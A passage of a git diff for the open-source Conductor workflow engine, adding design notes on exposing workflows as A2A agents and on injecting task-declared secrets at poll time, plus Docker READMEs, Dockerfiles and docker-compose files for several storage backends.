(Direction A) + +> **Status: implemented.** The other half of [08-conductor-implications.md](08-conductor-implications.md) +> §8.3: Conductor as an A2A **server**. Any A2A client (Google ADK, CrewAI, LangGraph, another +> Conductor) can discover and invoke a Conductor **workflow as an A2A agent**. This is where +> Conductor's durability is *native* — a workflow execution **is** a durable, resumable, +> observable A2A task (see [09-durable-a2a.md](09-durable-a2a.md)). + +## 10.1 Model — one A2A agent per workflow + +Each exposed workflow is its own focused A2A agent. The URL path is the router — no skill-selection +convention to invent, and each Agent Card describes exactly one capability. + +``` +GET {basePath}/{workflow}/.well-known/agent-card.json (+ /agent.json, v0.2.x) → discovery +POST {basePath}/{workflow} → JSON-RPC: message/send | message/stream | tasks/get | tasks/cancel +GET {basePath} → convenience listing of exposed agents +``` + +`basePath` defaults to `/a2a` (`conductor.a2a.server.basePath`). Lives in the `ai` module +(`org.conductoross.conductor.ai.a2a.server`), component-scanned by the server, gated by +`conductor.a2a.server.enabled=true` (independent of the LLM/AI integration flag — the server side +only needs core `WorkflowService`/`MetadataService`). + +```mermaid +sequenceDiagram + autonumber + participant Client as A2A client + participant R as A2AServerResource + participant A as A2AWorkflowAgent + participant E as Conductor engine + Client->>R: POST {basePath}/{wf} message/send + R->>A: sendMessage + A->>E: startWorkflow (idempotencyKey = A2A messageId) + E-->>A: workflowId + A-->>Client: Task { id = workflowId, state: working } + alt message/stream (SSE) + R->>A: streamMessage (dedicated daemon pool) + A-->>Client: task → status-update → artifact-update → final + else tasks/get polling + Client->>R: tasks/get + R->>A: getExecutionStatus + A-->>Client: Task { state, artifacts } + end + note over Client,E: blocked on HUMAN/WAIT → input-required;
    follow-up message/send (carrying the task id) resumes the same execution +``` + +## 10.2 Exposure — opt-in, never everything + +A workflow is exposed iff **either**: +- its name is in `conductor.a2a.server.exposed-workflows`, **or** +- its `WorkflowDef.metadata` carries `a2a.enabled: true`. + +Neither set ⇒ nothing is exposed. Optional `WorkflowDef.metadata."a2a.tags"` populates the skill +tags. (`A2AWorkflowAgent.isExposed`.) + +## 10.3 Mapping + +**`message/send` → start workflow.** Input = the first `DataPart.data` (structured case) merged +with `{_a2a_text, _a2a_message_id, _a2a_context_id}` so the workflow can read the raw message; +`correlationId = contextId`. Returns an A2A `Task { id=workflowId, contextId=correlationId, status }`. + +**`WorkflowStatus` → A2A `TaskState`** (the reverse of the client mapping in §8.4): + +| Conductor | A2A | Notes | +|---|---|---| +| RUNNING, blocked on `HUMAN`/`WAIT` | `input-required` | non-terminal HUMAN/WAIT task present; a follow-up `message/send` carrying this task's id resumes the execution (see §10.4) | +| RUNNING (not blocked) | `working` | | +| COMPLETED | `completed` | `workflow.getOutput()` → an `Artifact` (a `DataPart`) | +| FAILED / TIMED_OUT | `failed` | `reasonForIncompletion` in the status message | +| TERMINATED | `canceled` | | +| PAUSED | `working` | admin pause has no clean A2A analog | + +**`tasks/get`** → `getExecutionStatus(id, true)` → map as above. **`tasks/cancel`** → +`terminateWorkflow(id)` → return the canceled task. An agent only manages its own workflow's +executions (the task's workflow name must match the path agent). + +**`WorkflowDef` → Agent Card:** one skill (`id`/`name` = workflow name, description from the def, +tags from metadata, input/output modes from properties); `url` = `{publicUrl|request-derived}{basePath}/{name}`; +`version` = def version; `protocolVersion` `0.3.0`; `capabilities.streaming=true` (`message/stream` +via SSE), `capabilities.pushNotifications=false` (push-config endpoints are a follow-up). + +## 10.4 Durability — why this is the differentiator + +A Conductor workflow execution is already crash-safe, resumable, retryable, and observable. By +mapping an A2A task onto a workflow execution, **the A2A agent inherits all of that for free** — no +host loop to lose state. Two concrete properties: + +- **Crash-safe agent tasks.** If Conductor restarts mid-execution, the A2A task survives and + `tasks/get` keeps returning correct state — the in-memory reference hosts (the purchasing-concierge + demo) lose the task on crash. +- **Effectively-once start (idempotent `message/send`).** The inbound A2A `messageId` is used as the + workflow `StartWorkflowRequest.idempotencyKey` (namespaced with the workflow name) with + `idempotencyStrategy = RETURN_EXISTING`, so a client's retried `message/send` returns the + **existing** execution instead of starting a duplicate — the server-side mirror of the client's + deterministic-`messageId` work (§09 P3). `tasks/get` is a read; `tasks/cancel` no-ops once terminal. + So the whole surface is safe under at-least-once delivery. +- **Durable multi-turn (input-required → resume).** When the workflow blocks on a `HUMAN`/`WAIT` + task the agent reports `input-required`. A follow-up `message/send` carrying that task's id (the + workflow id) completes the pending task with the message content and **resumes the same + execution** — no duplicate workflow is started; an already-terminal or non-blocked workflow just + returns its current state. `A2AWorkflowAgent.resume()` via `TaskService.updateTask`. +- **Observability.** Server requests and resumes are counted (`a2a_server_requests{method}`, + `a2a_server_resumes`) through the shared `Monitors` registry (counter emitted only for recognized + methods — never the client-controlled `method` string), and the dispatch path sets MDC correlation + keys (`a2aAgent`/`a2aMethod`/`a2aMessageId`/`a2aContextId`/`a2aRemoteTaskId`) for greppable logs. + +## 10.5 Security + +OSS Conductor REST is open by default; the A2A server matches that — **open by default**, front it +with a gateway/firewall/mTLS to control access. Inbound **authentication** (API keys, OAuth/OIDC, +mTLS, per-skill scopes, signed Agent Cards) is an **enterprise** concern, not shipped in OSS (A2A +puts identity in HTTP headers — see [05-security.md](05-security.md)). The client→remote direction +still supports per-call auth `headers` (e.g. Bearer tokens) in OSS. + +## 10.6 Configuration + +```properties +conductor.a2a.server.enabled=true +conductor.a2a.server.basePath=/a2a +conductor.a2a.server.exposed-workflows=order_pizza,book_flight +conductor.a2a.server.public-url=https://conductor.example.com # optional; else request-derived +conductor.a2a.server.provider-organization=Acme +``` +Or per-workflow opt-in in the definition: `"metadata": { "a2a.enabled": true, "a2a.tags": [...] }` +(see `ai/examples/12-a2a-server-workflow.json`). + +## 10.7 Code & tests +- `ai/.../a2a/server/`: `A2AServerProperties`, `A2AWorkflowAgent` (service), `A2AServerResource` + (`@RestController`), `A2AServerException`; `config/A2AServerEnabledCondition`. +- Tests: `A2AWorkflowAgentTest` (exposure, card, send-with-idempotency-key, **multi-turn resume**, + status mapping incl. blocked→input-required, wrong-agent isolation, cancel), `A2AServerResourceTest` + (JSON-RPC dispatch, error codes, card serving), and `A2ALoopbackTest` (Conductor + calling Conductor over A2A end-to-end against a stateful fake engine). + +## 10.8 Out of scope (v1, follow-ups) +- Push-notification config endpoints (`tasks/pushNotificationConfig/*`). Server-side streaming + (`message/stream` SSE) now ships — it is listed in the methods table in §10.1/§10.3. +- Per-workflow OAuth scopes; Agent Card JWS signing. +- Full client↔server loopback e2e through the **real** engine (decider/sweeper/persistence) in + `test-harness` — the mocked-engine loopback (`A2ALoopbackTest`) ships now. diff --git a/design/a2a/README.md b/design/a2a/README.md new file mode 100644 index 0000000..af3fe93 --- /dev/null +++ b/design/a2a/README.md @@ -0,0 +1,86 @@ +# A2A (Agent2Agent) Protocol — Design Notes + +> A working understanding of the A2A protocol, derived from the official spec +> (`a2a-protocol.org`), the `a2aproject` GitHub org, Google's launch material, and +> the purchasing-concierge codelab. These notes exist to inform how Conductor might +> interoperate with A2A. Where a statement is an inference rather than spec text, it +> is marked **(inference)**. +> +> Researched: 2026-06-18. A2A is moving fast — re-verify field/method names against +> the version you target before implementing (see [06-versioning.md](06-versioning.md)). + +## What A2A is, in one paragraph + +A2A is an open, vendor-neutral protocol that lets **independent AI agents discover one +another and collaborate as peers** over standard web transports (HTTP + JSON-RPC 2.0, +gRPC, or HTTP+JSON). An agent publishes a machine-readable **Agent Card** describing its +identity, skills, supported transports, and authentication. A **client agent** finds a +**remote agent**, sends it a **Message**, and the remote agent either replies inline or +opens a stateful **Task** that progresses through a defined lifecycle, emits **Artifacts** +(outputs), and can stream updates or call back via webhooks for long-running work. Crucially, +agents stay **opaque** to each other — they do not share memory, tools, or internal logic; +they cooperate only through the standardized message/task surface. A2A was announced by +Google in April 2025 and donated to the **Linux Foundation** in June 2025; it reached +**v1.0** with an 8-company technical steering committee. + +## The one thing to remember: A2A vs MCP + +They are **complementary**, not competing: + +- **MCP** connects an agent **down to its tools** — APIs, databases, functions (agent → tooling). +- **A2A** connects an agent **across to other agents** — as collaborating peers (agent → agent). + +> "A2A is about agents *partnering* on tasks, while MCP is more about agents *using* capabilities." — official docs + +A typical agent uses **MCP internally** to drive its own tools and **A2A externally** to +collaborate with other agents. See [02-a2a-vs-mcp.md](02-a2a-vs-mcp.md). + +## Heads-up: two live spec generations + +This is the biggest practical gotcha, so it is called out everywhere in these notes. + +| | **v0.2.x / v0.3.x** (de-facto standard today) | **v1.0** (`/latest/` on the site) | +|---|---|---| +| Model | JSON-RPC-first | Protobuf-first (`a2a.proto`, ProtoJSON) | +| Enums | lowercase strings (`"input-required"`) | `SCREAMING_SNAKE_CASE` (`TASK_STATE_INPUT_REQUIRED`) | +| Roles | `"user"` / `"agent"` | `ROLE_USER` / `ROLE_AGENT` | +| Polymorphism | `kind` discriminator field | JSON member / wrapper based (no `kind`) | +| Well-known path | `/.well-known/agent.json` | `/.well-known/agent-card.json` | +| Transport on card | `preferredTransport` + `additionalInterfaces[]` | `supportedInterfaces[]` | + +Most of these notes lead with the **v0.3.x JSON-RPC model** (what the broad SDK +ecosystem still implements) and flag v1.0 deltas. Pin your target version explicitly. +Full breakdown in [06-versioning.md](06-versioning.md). + +## Reading order + +| # | Doc | What's in it | +|---|---|---| +| 1 | [01-overview-and-motivation.md](01-overview-and-motivation.md) | The problem, the vision, the 5 design principles, governance & timeline, core actors | +| 2 | [02-a2a-vs-mcp.md](02-a2a-vs-mcp.md) | The complementary relationship, the auto-repair-shop analogy, opaque agents | +| 3 | [03-data-model.md](03-data-model.md) | Agent Card, Task & lifecycle, Message, Part, Artifact, events, push config | +| 4 | [04-protocol-mechanics.md](04-protocol-mechanics.md) | Transports, RPC methods, streaming (SSE), push notifications, error codes, "life of a task" | +| 5 | [05-security.md](05-security.md) | Secure-by-default, security schemes, header-based identity, extended card, webhook security | +| 6 | [06-versioning.md](06-versioning.md) | v0.2.5 → v0.3.0 → v1.0, what changed, which to target | +| 7 | [07-ecosystem-and-samples.md](07-ecosystem-and-samples.md) | Linux Foundation governance, canonical proto spec, official SDKs, samples, use cases | +| 8 | [08-conductor-implications.md](08-conductor-implications.md) | **Analysis:** how A2A maps onto Conductor (workflows-as-agents, A2A client task, lifecycle mapping) | +| 9 | [09-durable-a2a.md](09-durable-a2a.md) | **Durability:** what "durable A2A" must mean for the claim to hold — durability properties, the exactly-once boundary, the mechanisms (deterministic messageId, liveness guards, push backstop), and proof obligations | +| 10 | [10-a2a-server.md](10-a2a-server.md) | **A2A server (Direction A):** exposing Conductor workflows as A2A agents — one agent per workflow, opt-in, status mapping, idempotent-start durability, auth | + +Docs 1–7 describe A2A as it exists. Docs 8–10 are repo-specific design/implementation (the +Conductor A2A **client** in 8–9 and the **server** in 10). + +## Glossary (quick) + +| Term | Meaning | +|---|---| +| **Client agent** | Initiates communication; formulates and sends tasks on behalf of a user | +| **Remote agent** (A2A server) | Exposes an A2A HTTP endpoint; receives requests, runs tasks, returns results | +| **Agent Card** | JSON descriptor of an agent's identity, skills, transports, and auth — the discovery unit | +| **Skill** | A discrete advertised capability of an agent | +| **Task** | A stateful unit of work with a unique id and a defined lifecycle | +| **contextId** | Server-generated id that groups related tasks/turns into one conversation/session | +| **Message** | One turn of communication (role `user` or `agent`), made of Parts | +| **Part** | Atomic content unit: `TextPart`, `FilePart`, or `DataPart` | +| **Artifact** | A tangible output produced by a task, made of Parts | +| **Opaque agent** | An agent treated as a black box — no shared memory/tools/state | diff --git a/design/runtime-metadata.md b/design/runtime-metadata.md new file mode 100644 index 0000000..77d8e9f --- /dev/null +++ b/design/runtime-metadata.md @@ -0,0 +1,185 @@ +# Runtime metadata — task-declared secrets & env variables for polled tasks + +> **Terminology:** the field is named `runtimeMetadata` (per stakeholder request), even +> though the values it carries are runtime parameters resolved from **secrets and/or +> environment-variable sources** — it is a single, source-neutral concept that covers +> **both secrets and environment variables**. A `TaskDef` declares the names it needs in +> `runtimeMetadata`; at poll time each name is resolved from the **secrets store first, +> then environment variables** (in that order) and the results are placed in +> `Task.runtimeMetadata`. The name is deliberately not "secrets" because a resolved value +> may come from either source — calling an env var a "secret" would be misleading. + +**Status:** Design for review (draft PR) +**Base branch:** `feat/env-backed-secrets-and-environment` (this feature builds on that PR and reuses its DAOs) +**Origin:** `design/secrets.md` (`task_metadata` branch) — "Support for handling secrets in Tasks" + +## 1. Summary + +Workers often need sensitive values (API keys, LLM keys, tokens) to do their job. Today +the only way to hand a worker a managed secret is to embed a reference in the *workflow +definition*'s task input — `"apiKey": "${workflow.secrets.OPENAI_API_KEY}"` — which every +workflow using the task must repeat. + +This feature lets a **TaskDef declare** the secret/environment names it needs. At **poll +time**, the server resolves those names and injects the resolved values into a dedicated +key→value field on the `Task` returned to the worker. The workflow definition stays clean; +the declaration lives once, on the task definition. + +It **reuses** the `SecretsDAO` / `EnvironmentDAO` introduced by the base PR (env-backed by +default). It is **complementary** to — not a replacement for — the existing +`${workflow.secrets.X}` / `${workflow.env.X}` reference resolution. + +## 2. Mechanism + +``` +TaskDef "llm_call": + runtimeMetadata: ["OPENAI_API_KEY", "REGION"] # new field: list of names + +worker polls a "llm_call" task + → for each declared name, resolve in order: + 1) SecretsDAO.getSecret(name) (env-backed: CONDUCTOR_SECRET_) + 2) EnvironmentDAO.getEnvVariable(name) (env-backed: CONDUCTOR_ENV_) [fallback] + → returned Task carries a new field: + runtimeMetadata: { "OPENAI_API_KEY": "sk-...", "REGION": "us-east-1" } # name→value +``` + +Resolution reuses the base PR's providers; injection happens in `ExecutionService.poll` +(the same choke point the base PR already modified). + +## 3. Design decisions (flagged for PR review) + +These are the choices made where the origin doc was silent — call them out in review: + +1. **Single list, secrets-then-env resolution.** `TaskDef.runtimeMetadata` is one + `List` of names; each name is tried against `SecretsDAO` first, then + `EnvironmentDAO`. (Matches the doc: "Find them from 1) secrets store or 2) env variables + in that order.") Not two separate lists. +2. **Wire-only, never persisted.** The resolved values are set only on the `Task` returned + to the poller — never on the persisted `TaskModel`. Nothing lands in the datastore, UI, + or execution history. (Consistent with the base PR's "secret value never persists" + principle. `Task` and `TaskModel` are distinct classes, so this falls out naturally.) +3. **Missing names are omitted.** If a declared name resolves to `null` in both providers, + it is left out of the map and a warning is logged (rather than injecting `null`). +4. **No new config.** The feature reuses the active providers. With + `conductor.secrets.type=noop` and `conductor.environment.type=noop` it is inert + (everything resolves to `null` → empty map). +5. **Field naming.** `TaskDef.runtimeMetadata` (declared names) and `Task.runtimeMetadata` + (resolved name→value). Same field name on both classes (per stakeholder request), but + different types: two layers — what the task *needs* vs what it *got*. +6. **JSON/REST only (no gRPC field).** `Task.runtimeMetadata` is serialized for REST pollers; + it is **not** given a `@ProtoField` id, to avoid proto regeneration. gRPC pollers do not + receive it in this version (OSS polling is predominantly REST/HTTP). +7. **Poll-only.** Only worker-polled tasks get injection. Server-side system tasks (which + don't poll) are out of scope. + +## 4. Model changes + +### `common` — `TaskDef.java` +Add, mirroring the existing `inputKeys`/`outputKeys` treatment (field, getter/setter, +and inclusion in `equals`/`hashCode`; note `TaskDef.toString()` only renders `name`, so +`runtimeMetadata` — like `inputKeys`/`outputKeys` — is not added there): +```java +private List runtimeMetadata = new ArrayList<>(); +public List getRuntimeMetadata() { return runtimeMetadata; } +public void setRuntimeMetadata(List runtimeMetadata) { this.runtimeMetadata = runtimeMetadata; } +``` + +### `common` — `Task.java` +Add a wire-only resolved map. **Excluded** from `equals`/`hashCode` (ephemeral wire data, +not task identity/state); serialized only when non-empty: +```java +@JsonInclude(JsonInclude.Include.NON_EMPTY) +private Map runtimeMetadata = new HashMap<>(); +public Map getRuntimeMetadata() { return runtimeMetadata; } +public void setRuntimeMetadata(Map runtimeMetadata) { this.runtimeMetadata = runtimeMetadata; } +``` +(No `@ProtoField` — see decision 6.) + +## 5. Resolution component + +New `core` component `RuntimeMetadataResolver` (package `com.netflix.conductor.core.secrets`), +reusing both DAOs — small, single-purpose, unit-testable: +```java +@Component +public class RuntimeMetadataResolver { + private final SecretsDAO secretsDAO; + private final EnvironmentDAO environmentDAO; + // constructor injection + + /** Resolve each declared name (SecretsDAO first, EnvironmentDAO fallback); omit misses. */ + public Map resolve(List names) { + Map out = new LinkedHashMap<>(); + if (names == null) return out; + for (String name : names) { + String value = secretsDAO.getSecret(name); + if (value == null) value = environmentDAO.getEnvVariable(name); + if (value != null) out.put(name, value); + else LOGGER.warn("Declared secret/env '{}' not found in secrets store or environment", name); + } + return out; + } +} +``` +Both DAO beans always exist (env or noop), so injection is unconditional. + +## 6. Injection point + +In `ExecutionService.poll(...)`, where the outgoing wire `Task` is built (right beside the +base PR's `substituteSecrets` call), populate the new field from the task's definition: +```java +Task task = taskModel.toTask(); +task.setInputData(parametersUtils.substituteSecrets(task.getInputData())); // existing +taskModel.getTaskDefinition() + .map(TaskDef::getRuntimeMetadata) + .map(runtimeMetadataResolver::resolve) + .ifPresent(task::setRuntimeMetadata); // new +tasks.add(task); +``` +`taskModel.getTaskDefinition()` is already available and used in `poll`. The persisted +`TaskModel` is untouched. `RuntimeMetadataResolver` is added as a constructor dependency of +`ExecutionService`. + +## 7. Security + +- Resolved values live only on the outgoing `Task`; the persisted `TaskModel` never holds + them → nothing in the datastore/UI/history. +- Same output-leakage caveat as the base PR: if a worker echoes an injected secret into its + task output, that output is persisted — the worker's responsibility. There is intentionally + no masking in this version (consistent with the base PR's documented limitation). +- The prefix boundary from the base PR still applies: env-backed providers only read + `CONDUCTOR_SECRET_*` / `CONDUCTOR_ENV_*`, so a TaskDef cannot name an arbitrary process + env var. + +## 8. Non-goals (this version) + +- gRPC (`@ProtoField`) support for `Task.runtimeMetadata`. +- Injection for server-side system tasks (only worker poll). +- Per-name source override, aliasing (map to a different key), or "required/optional" + semantics — a declared name simply resolves or is omitted. +- Validation of declared names against a schema. +- Masking of injected values in worker-produced output. + +## 9. Testing + +- **Unit — `RuntimeMetadataResolverTest`:** secrets-store hit; env fallback hit; secrets take + precedence over env for the same name; missing name omitted; null/empty list → empty map. + (Driven via `System.setProperty` per the base PR's DAO test pattern.) +- **Unit — `ExecutionServiceTest`:** `poll` injects the resolved map onto the outgoing + `Task` from the task definition's declared names, and the persisted `TaskModel` carries + no runtime metadata. +- **Unit — model:** `TaskDef` round-trips `runtimeMetadata` (getter/setter, equals/hashCode); + `Task.runtimeMetadata` serializes only when non-empty and is excluded from `equals`. +- **Integration — `test-harness` Spock spec:** register a `TaskDef` with + `runtimeMetadata: ["API_KEY"]` (+ `CONDUCTOR_SECRET_API_KEY` / `CONDUCTOR_ENV_...` set via + system properties), start a workflow, poll the task, assert + `polled.runtimeMetadata["API_KEY"] == ` and the persisted task has an empty + runtime-metadata map. Add an env-fallback case. + +## 10. Open questions for review + +- Unified list with secrets→env fallback into one `runtimeMetadata` map (current) vs. splitting + secrets and environment into separate declaration lists / result maps (which would preserve + the base PR's sensitive-vs-non-sensitive distinction for this path). +- Should a declared-but-missing name be a silent omission (current) or surface as a task/poll + warning visible to the operator beyond the server log? +- Is REST-only acceptable for v1, or is gRPC field support required? diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 0000000..a75a940 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,88 @@ + +# Conductor Docker Builds + +## Pre-built docker images + +Conductor server with support for the following backend: +1. Redis +2. Postgres +3. Mysql +4. Cassandra + +### Docker File for Server and UI + +[Docker Image Source for Server with UI](server/Dockerfile) + +### Configuration Guide for Conductor Server +Conductor uses a persistent store for managing state. +The choice of backend is quite flexible and can be configured at runtime using `conductor.db.type` property. + +Refer to the table below for various supported backend and required configurations to enable each of them. + +> [!IMPORTANT] +> +> See [config.properties](docker/server/config/config.properties) for the required properties for each of the backends. +> +> | Backend | Property | +> |------------|------------------------------------| +> | postgres | conductor.db.type=postgres | +> | redis | conductor.db.type=redis_standalone | +> | mysql | conductor.db.type=mysql | +> | cassandra | conductor.db.type=cassandra | +> + +Conductor is using Elasticsearch or OpenSearch for indexing the workflow data. +Currently, Elasticsearch 7 and OpenSearch 2.x/3.x are supported. + +We welcome community contributions for other indexing backends. + +**Note:** Docker images use Elasticsearch 7 by default. Elasticsearch 6 and OpenSearch 1.x are deprecated. + +## Helm Charts +TODO: Link to the helm charts + +## Run Docker Compose Locally +### Use the docker-compose to bring up the local conductor server. + +| Docker Compose | Description | +|--------------------------------------------------------------|----------------------------| +| [docker-compose.yaml](docker-compose.yaml) | Redis + Elasticsearch 7 | +| [docker-compose-postgres.yaml](docker-compose-postgres.yaml) | Postgres + Elasticsearch 7 | +| [docker-compose-mysql.yaml](docker-compose-mysql.yaml) | Mysql + Elasticsearch 7 | +| [docker-compose-redis-os.yaml](docker-compose-redis-os.yaml) | Redis + OpenSearch 2.x (legacy - use os2) | +| [docker-compose-redis-os2.yaml](docker-compose-redis-os2.yaml) | Redis + OpenSearch 2.x | +| [docker-compose-redis-os3.yaml](docker-compose-redis-os3.yaml) | Redis + OpenSearch 3.x | + +### Network errors during UI build with yarn + +It has been observed, that the UI build may fail with an error message like + +``` +> [linux/arm64 ui-builder 5/7] RUN yarn install && cp -r node_modules/monaco-editor public/ && yarn build: +269.9 at Object.onceWrapper (node:events:633:28) +269.9 at TLSSocket.emit (node:events:531:35) +269.9 at Socket._onTimeout (node:net:590:8) +269.9 at listOnTimeout (node:internal/timers:573:17) +269.9 at process.processTimers (node:internal/timers:514:7) +269.9 info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command. +281.2 info There appears to be trouble with your network connection. Retrying... +313.5 info There appears to be trouble with your network connection. Retrying... +920.3 info There appears to be trouble with your network connection. Retrying... +953.6 info There appears to be trouble with your network connection. Retrying... +``` + +This does not necessarily mean, that the network is unavailable, but can be caused by too high latency, as well. `yarn` accepts the option `--network-timeout <#ms>` to set a custom timeout in milliseconds. + +For passing arguments to `yarn`, in [this Dockerfile](server/Dockerfile) the _optional_ build arg `YARN_OPTS` has been added. This argument will be added to each `yarn` call. + +When using one of the `docker-compose-*` files, you can set this via the environment variable `YARN_OPTS`, e.g.: + +``` +YARN_OPTS='--network-timeout 10000000' docker compose -f docker-compose.yaml up +``` + +When building a Docker image using `docker`, you must call it like e.g. + +``` +docker build --build-arg='YARN_OPTS=--network-timeout 10000000' .. -f server/Dockerfile -t oss-conductor:v3.21.9 +``` diff --git a/docker/ci/Dockerfile b/docker/ci/Dockerfile new file mode 100644 index 0000000..ff8a0b2 --- /dev/null +++ b/docker/ci/Dockerfile @@ -0,0 +1,6 @@ +FROM openjdk:17-jdk + +WORKDIR /workspace/conductor +COPY . /workspace/conductor + +RUN ./gradlew clean build diff --git a/docker/conductor-standalone-deprecation/Dockerfile b/docker/conductor-standalone-deprecation/Dockerfile new file mode 100644 index 0000000..84836e4 --- /dev/null +++ b/docker/conductor-standalone-deprecation/Dockerfile @@ -0,0 +1,20 @@ +FROM alpine:3 +CMD printf '\n\ +============================================================\n\ + conductoross/conductor-standalone IS DEPRECATED\n\ +============================================================\n\ +\n\ + This image has not been updated since December 2023.\n\ + Last published version: Conductor 3.15.0\n\ + Current release: Conductor 3.23.0+\n\ +\n\ + DO NOT USE this image for new deployments.\n\ +\n\ + Use instead:\n\ + docker pull conductoross/conductor:latest\n\ +\n\ + Getting started:\n\ + https://github.com/conductor-oss/getting-started\n\ +\n\ +============================================================\n\ +\n' && exit 1 diff --git a/docker/conductor-standalone-deprecation/dockerhub-description.md b/docker/conductor-standalone-deprecation/dockerhub-description.md new file mode 100644 index 0000000..261268c --- /dev/null +++ b/docker/conductor-standalone-deprecation/dockerhub-description.md @@ -0,0 +1,45 @@ +# conductoross/conductor-standalone + +> [!WARNING] +> **DEPRECATED — DO NOT USE** +> +> This image has not been updated since **December 2023** (pinned at Conductor **3.15.0**). +> The current, actively maintained image is [`conductoross/conductor`](https://hub.docker.com/r/conductoross/conductor). +> +> For a working one-command local setup, see the [getting-started guide](https://github.com/conductor-oss/getting-started). + +--- + +## Migration + +Replace any reference to `conductoross/conductor-standalone` with: + +```bash +docker pull conductoross/conductor:latest +``` + +For a full local setup (UI + server), use the Docker Compose file from the main repo: + +```bash +git clone https://github.com/conductor-oss/conductor.git +cd conductor/docker +docker compose up +``` + +## Tags + +| Tag | Description | +|-----|-------------| +| `:deprecated` | Alpine-based image that prints a deprecation notice and exits with code 1. Useful as a drop-in to make CI pipelines self-document the migration. | + +All older tags (`:3.15.0`, `:latest` prior to 2026) point at a Conductor 3.15.0 build that is no longer supported. + +## Why was this deprecated? + +`conductor-standalone` was intentionally deprecated in favor of consolidating on a single image. `conductoross/conductor` now supports SQLite out of the box, providing the same zero-dependency local experience without a separate image to maintain. + +## Links + +- [conductoross/conductor on Docker Hub](https://hub.docker.com/r/conductoross/conductor) +- [Getting started guide](https://github.com/conductor-oss/getting-started) +- [Conductor OSS on GitHub](https://github.com/conductor-oss/conductor) diff --git a/docker/docker-compose-cassandra-es7.yaml b/docker/docker-compose-cassandra-es7.yaml new file mode 100644 index 0000000..b597ef2 --- /dev/null +++ b/docker/docker-compose-cassandra-es7.yaml @@ -0,0 +1,90 @@ +services: + conductor-server: + environment: + - CONFIG_PROP=config-cassandra-es7.properties + - JAVA_OPTS=-Dpolyglot.engine.WarnInterpreterOnly=false + - conductor.app.ownerEmailMandatory=false + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: ["CMD", "curl", "-I", "-XGET", "http://localhost:8080/health"] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-cassandra:cassandradb + - conductor-redis:rs + - conductor-elasticsearch:es + depends_on: + conductor-cassandra: + condition: service_healthy + conductor-redis: + condition: service_healthy + conductor-elasticsearch: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-cassandra: + image: cassandra:4 + environment: + - CASSANDRA_CLUSTER_NAME=conductor + - CASSANDRA_NUM_TOKENS=4 + - MAX_HEAP_SIZE=512M + - HEAP_NEWSIZE=128M + networks: + - internal + healthcheck: + test: ["CMD", "cqlsh", "-e", "describe keyspaces"] + interval: 10s + timeout: 10s + retries: 20 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ../server/config/redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: ["CMD", "redis-cli", "ping"] + + conductor-elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:7.17.11 + environment: + - "ES_JAVA_OPTS=-Xms512m -Xmx1024m" + - xpack.security.enabled=false + - discovery.type=single-node + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +networks: + internal: diff --git a/docker/docker-compose-es8.yaml b/docker/docker-compose-es8.yaml new file mode 100644 index 0000000..dfea6a1 --- /dev/null +++ b/docker/docker-compose-es8.yaml @@ -0,0 +1,78 @@ +services: + conductor-server: + environment: + - CONFIG_PROP=config-redis-es8.properties + - JAVA_OPTS=-Dpolyglot.engine.WarnInterpreterOnly=false + - conductor.app.ownerEmailMandatory=false + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + INDEXING_BACKEND: elasticsearch8 + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + volumes: + # Shared with host so file:// URIs from the server resolve on the e2e runner. + - /tmp/conductor-file-storage-e2e:/tmp/conductor-file-storage-e2e + healthcheck: + test: ["CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health"] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-elasticsearch:es + - conductor-redis:rs + depends_on: + conductor-elasticsearch: + condition: service_healthy + conductor-redis: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ../server/config/redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: [ "CMD", "redis-cli","ping" ] + + conductor-elasticsearch: + # Keep ES image aligned with elasticsearch-java client version (8.19.11). + image: docker.elastic.co/elasticsearch/elasticsearch:8.19.11 + environment: + - "ES_JAVA_OPTS=-Xms512m -Xmx1024m" + - xpack.security.enabled=false + - discovery.type=single-node + volumes: + - esdata-conductor:/usr/share/elasticsearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + esdata-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-mysql.yaml b/docker/docker-compose-mysql.yaml new file mode 100644 index 0000000..34ef714 --- /dev/null +++ b/docker/docker-compose-mysql.yaml @@ -0,0 +1,98 @@ +version: '2.3' + +services: + + conductor-server: + environment: + - CONFIG_PROP=config-mysql.properties + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: [ "CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health" ] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-elasticsearch:es + - conductor-mysql:mysql + - conductor-redis:rs + depends_on: + conductor-elasticsearch: + condition: service_healthy + conductor-mysql: + condition: service_healthy + conductor-redis: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-mysql: + image: mysql:latest + environment: + MYSQL_ROOT_PASSWORD: 12345 + MYSQL_DATABASE: conductor + MYSQL_USER: conductor + 